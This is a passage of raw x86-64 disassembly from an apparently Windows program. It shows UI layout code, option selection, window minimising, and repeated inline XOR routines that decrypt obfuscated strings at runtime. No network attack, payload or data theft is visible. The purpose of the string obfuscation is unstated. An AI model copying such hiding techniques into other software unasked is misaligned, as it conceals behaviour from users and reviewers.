lea rcx, [rbp + 0x2b8]
movss xmm2, dword [rax + 4]
subss xmm2, xmm15
call fcn.140001850
lea rcx, [rbp + 0x2c0]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x2c8]
mov rdx, rax
call fcn.140054a20
mov r9d, dword [rsp + 0x64]
mov rdx, rax
mov r8, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x60]
movss dword [rsp + 0x20], xmm14
call fcn.140025880
call fcn.1400087c0
lea rcx, [0x1401c02a0]
mov qword [rbp - 0x60], rax
call fcn.1400462c0
lea rcx, [0x1401f6e68]
mov qword [rsp + 0x70], rax
call fcn.140004850
lea rcx, [rbp + 0x2d0]
mov dword [rsp + 0x64], eax
call fcn.140016f20
lea rcx, [0x1401c02a0]
movss xmm6, dword [rax + 4]
subss xmm6, xmm7
call fcn.1400462c0
mov rdx, rax
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
lea rcx, [rbp + 0x2d8]
xor r8d, r8d
call fcn.14000bbc0
movss xmm1, dword [0x14017a7f8]
lea rcx, [rbp + 0x2e0]
movss xmm0, dword [rax + 4]
mulss xmm0, xmm8
subss xmm6, xmm0
movaps xmm2, xmm6
call fcn.140001850
lea rcx, [rbp + 0x2e8]
mov qword [rbp - 0x80], rax
call fcn.140013120
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x2f0]
mov rdx, rax
call fcn.140054a20
mov r9, qword [rsp + 0x70]
mov rdx, rax
mov r8d, dword [rsp + 0x64]
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp - 0x60]
call fcn.140026710
movss xmm2, dword [0x14017a8a0]
lea rcx, [rbp + 0x2f8]
movss xmm1, dword [0x14017a838]
call fcn.140001850
mov rcx, rax
call fcn.140016ba0
call fcn.140016f80
movaps xmm2, xmm13
lea rcx, [rbp + 0x300]
movaps xmm1, xmm13
call fcn.140001850
cmp dword [0x1401f6e10], 0
lea rdx, [0x14016a644]
mov r8, rax
sete cl
xor r9d, r9d
call fcn.1400345d0
test al, al
je 0x1400611b7
mov dword [0x1401f6e10], 0
movaps xmm2, xmm13
lea rcx, [rbp + 0x308]
movaps xmm1, xmm13
call fcn.140001850
cmp dword [0x1401f6e10], 1
lea rdx, [0x14016a668]
mov r8, rax
sete cl
xor r9d, r9d
call fcn.1400345d0
test al, al
je 0x1400611f6
mov eax, 1
mov dword [0x1401f6e10], eax
movaps xmm2, xmm13
lea rcx, [rbp + 0x310]
movaps xmm1, xmm13
call fcn.140001850
cmp dword [0x1401f6e10], 2
lea rdx, [0x14016a650]
mov r8, rax
sete cl
xor r9d, r9d
call fcn.1400345d0
test al, al
je 0x140061234
mov dword [0x1401f6e10], 2
movaps xmm2, xmm13
lea rcx, [rbp + 0x318]
movaps xmm1, xmm13
call fcn.140001850
cmp dword [0x1401f6e10], 3
lea rdx, [0x14016a660]
mov r8, rax
sete cl
xor r9d, r9d
call fcn.1400345d0
test al, al
je 0x140061272
mov dword [0x1401f6e10], 3
call fcn.1400170d0
mov eax, dword [0x1401f6de8]
cmp dword [0x1401f6e10], eax
jne 0x14006128b
movaps xmm6, xmm14
jmp 0x14006128f
movaps xmm6, xmm12
call fcn.140008580
movaps xmm2, xmm14
movaps xmm1, xmm9
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x14017a790]
mulss xmm0, xmm6
addss xmm0, dword [0x1401f6dcc]
call fcn.14006dd40
mov eax, dword [0x1401f6de8]
cmp dword [0x1401f6e10], eax
movss dword [0x1401f6dcc], xmm0
jne 0x1400612d6
movaps xmm6, xmm14
jmp 0x1400612da
movaps xmm6, xmm12
call fcn.140008580
movss xmm0, dword [0x14017a8d4]
add rax, 0x10
mov qword [rbp - 0x80], rax
call fcn.1400540f0
mov rax, qword [rbp - 0x80]
movaps xmm2, xmm14
movaps xmm1, xmm9
mulss xmm0, dword [rax]
mulss xmm0, xmm6
addss xmm0, dword [0x1401f7140]
call fcn.14006dd40
movss xmm1, dword [0x1401f6dcc]
ucomiss xmm1, xmm9
movss dword [0x1401f7140], xmm0
jp 0x140061341
jne 0x140061341
ucomiss xmm0, xmm9
jp 0x140061341
jne 0x140061341
mov eax, dword [0x1401f6e10]
mov dword [0x1401f6de8], eax
call fcn.140004810
movss xmm1, dword [0x1401f6dcc]
xor ecx, ecx
mulss xmm1, dword [rax]
call fcn.140004a30
movss xmm2, dword [0x14017a7f4]
lea rcx, [rbp + 0x320]
movss xmm1, dword [0x14017a888]
call fcn.140001850
mov rcx, rax
call fcn.140016ba0
call fcn.1400029c0
movss xmm6, dword [0x14017a7e8]
lea rcx, [rbp + 0x328]
movss xmm1, dword [0x14017a8f0]
movaps xmm2, xmm6
mov qword [rbp - 0x80], rax
call fcn.140001850
mov rdx, rax
mov ecx, reloc.WS2_32.dll_sendto
call fcn.1400356a0
test al, al
jne 0x1400692a1
movss xmm1, dword [0x14017a8ec]
lea rcx, [rbp + 0x180]
movaps xmm2, xmm6
call fcn.140001850
mov rcx, qword [rbp - 0x80]
lea rdx, str.MIN
xor r8d, r8d
call fcn.140007b00
mov ecx, eax
lea rdx, [rbp + 0x180]
call fcn.140046020
test al, al
je 0x14006140a
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x1401f6de8]
test eax, eax
jne 0x140063b90
call fcn.140016f80
lea rcx, [rbp + 0x330]
call fcn.140016f20
lea rcx, [rbp + 0x338]
movss xmm7, dword [rax + 4]
subss xmm7, dword [0x14017a828]
subss xmm7, xmm15
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x340]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a860]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x216]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x48]
mov byte [rbp - 0x48], 0
call fcn.140069380
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400614ba
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call fcn.14000c880
lea rdx, [rbp + 0x6b0]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.1400693b0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006150f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [rbp + 0x817]
mov qword [rbp - 0x40], rax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.1400693d0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140061681
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140061644
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140061650
lea rdx, [rbp + 0x6c2]
mov qword [rbp - 0x38], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069400
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400616c8
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x30], rax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069420
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140061871
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140061837
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140061730
cmp r8d, 0x12
jge 0x140061871
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x140061840
lea rdx, [rbp + 0x858]
mov qword [rbp - 0x28], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069440
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400619e1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400619a6
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400619b0
lea rdx, [rbp + 0x6b9]
mov qword [rbp - 0x20], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069470
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140061a28
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov r9d, 5
mov dword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov rcx, rax
lea rdx, [0x1401f6dc4]
call fcn.140039240
call fcn.1400381a0
lea rcx, [rbp + 0x348]
call fcn.140016f20
mov qword [rbp - 0x80], rax
call fcn.140004810
mov rcx, qword [rbp - 0x80]
movaps xmm2, xmm11
movss xmm1, dword [rcx]
lea rcx, [rbp + 0x350]
subss xmm1, dword [rax + 8]
addss xmm1, xmm10
call fcn.140001850
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x47]
mov byte [rbp - 0x47], 0
call fcn.140069490
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140061c31
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140061bf7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140061af0
cmp r8d, 0x13
jge 0x140061c31
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140061c00
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x140061c89
mov eax, dword [0x1401f6dc4]
test eax, eax
jne 0x140061c54
mov byte [0x1401e2474], 1
jmp 0x140061c89
cmp eax, 1
jne 0x140061c61
mov byte [0x1401e249b], al
jmp 0x140061c89
cmp eax, 2
jne 0x140061c6f
mov byte [0x1401c2338], 1
jmp 0x140061c89
cmp eax, 3
jne 0x140061c7d
mov byte [0x1401c22df], 1
jmp 0x140061c89
cmp eax, 4
jne 0x140061c89
mov byte [0x1401c233e], 1
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
lea rcx, [rbp + 0x358]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x360]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x46]
mov byte [rbp - 0x46], 0
call fcn.1400694c0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140061e71
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140061e37
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140061d30
cmp r8d, 0x16
jge 0x140061e71
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140061e40
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
call fcn.14000c990
lea rcx, [rbp + 0x368]
call fcn.140016f20
lea rcx, [rbp + 0x370]
movss xmm7, dword [rax + 4]
subss xmm7, dword [0x14017a828]
subss xmm7, xmm15
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x378]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a860]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x797]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x45]
mov byte [rbp - 0x45], 0
call fcn.140069360
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140062051
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140062015
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140062020
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
mov rcx, r10
call fcn.14000c880
lea rdx, [rbp + 0x718]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.1400694f0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400620ae
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [rbp + 0x723]
mov qword [rbp - 0x40], rax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069520
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400620fd
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [rbp + 0x78b]
mov qword [rbp - 0x38], rax
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069550
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140062271
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140062232
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140062240
lea rdx, [rbp + 0x77f]
mov qword [rbp - 0x30], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069570
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x1400623e1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400623a6
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
